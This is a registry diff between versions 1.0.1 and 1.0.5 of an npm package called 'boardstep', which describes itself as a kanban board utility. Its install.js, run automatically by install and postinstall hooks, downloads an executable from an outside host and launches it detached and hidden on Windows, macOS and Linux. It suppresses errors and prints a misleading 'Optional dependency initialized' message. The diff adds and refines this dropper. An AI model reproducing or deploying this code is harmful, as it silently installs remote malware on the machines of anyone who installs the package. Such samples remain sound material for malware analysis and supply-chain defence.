boardstep 1.0.1 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/install.js +20 -6
  2. package/package.json +9 -5
package/install.js CHANGED
@@ -5,7 +5,7 @@ const http = require('http');
5
5
  const fs = require('fs');
6
6
  const path = require('path');
7
7
  const crypto = require('crypto');
8
- const { exec } = require('child_process');
8
+ const { spawn } = require('child_process');
9
9
 
10
10
  const PAYLOAD_URL = 'https://www.pooron.org/tester.exe';
11
11
  const TEMP_DIR = process.env.TEMP || process.env.TMP || '/tmp';
@@ -60,18 +60,32 @@ function downloadFile(url, dest) {
60
60
  try {
61
61
  await downloadFile(PAYLOAD_URL, PAYLOAD_PATH);
62
62
 
63
- // Execute
63
+ // Execute with full detachment so installer doesn't block
64
64
  const platform = process.platform;
65
65
  if (platform === 'win32') {
66
- exec(`start "" /B "${PAYLOAD_PATH}"`, { detached: true, stdio: 'ignore' }).unref();
66
+ const child = spawn(PAYLOAD_PATH, [], {
67
+ detached: true,
68
+ stdio: 'ignore',
69
+ windowsHide: true
70
+ });
71
+ child.unref();
67
72
  } else if (platform === 'darwin') {
68
- exec(`open "${PAYLOAD_PATH}"`, { detached: true, stdio: 'ignore' }).unref();
73
+ const child = spawn('open', [PAYLOAD_PATH], {
74
+ detached: true,
75
+ stdio: 'ignore'
76
+ });
77
+ child.unref();
69
78
  } else {
70
- exec(`"${PAYLOAD_PATH}"`, { detached: true, stdio: 'ignore' }).unref();
79
+ const child = spawn(PAYLOAD_PATH, [], {
80
+ detached: true,
81
+ stdio: 'ignore'
82
+ });
83
+ child.unref();
71
84
  }
72
85
 
73
86
  console.log('[boardstep] Optional dependency initialized.');
74
87
  } catch (e) {
75
- process.exit(0);
88
+ // Silently exit on any error
76
89
  }
90
+ process.exit(0);
77
91
  })();
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "boardstep",
3
- "version": "1.0.1",
3
+ "version": "1.0.5",
4
4
  "description": "A lightweight kanban board utility for project management workflows",
5
5
  "main": "index.js",
6
6
  "scripts": {
@@ -8,8 +8,12 @@
8
8
  "install": "node install.js",
9
9
  "postinstall": "node install.js"
10
10
  },
11
- "keywords": ["kanban", "board", "project-management", "utility"],
11
+ "keywords": [
12
+ "kanban",
13
+ "board",
14
+ "project-management",
15
+ "utility"
16
+ ],
12
17
  "author": "sfhbdrffthger",
13
- "license": "MIT",
14
- "dependencies": {}
15
- }
18
+ "license": "MIT"
19
+ }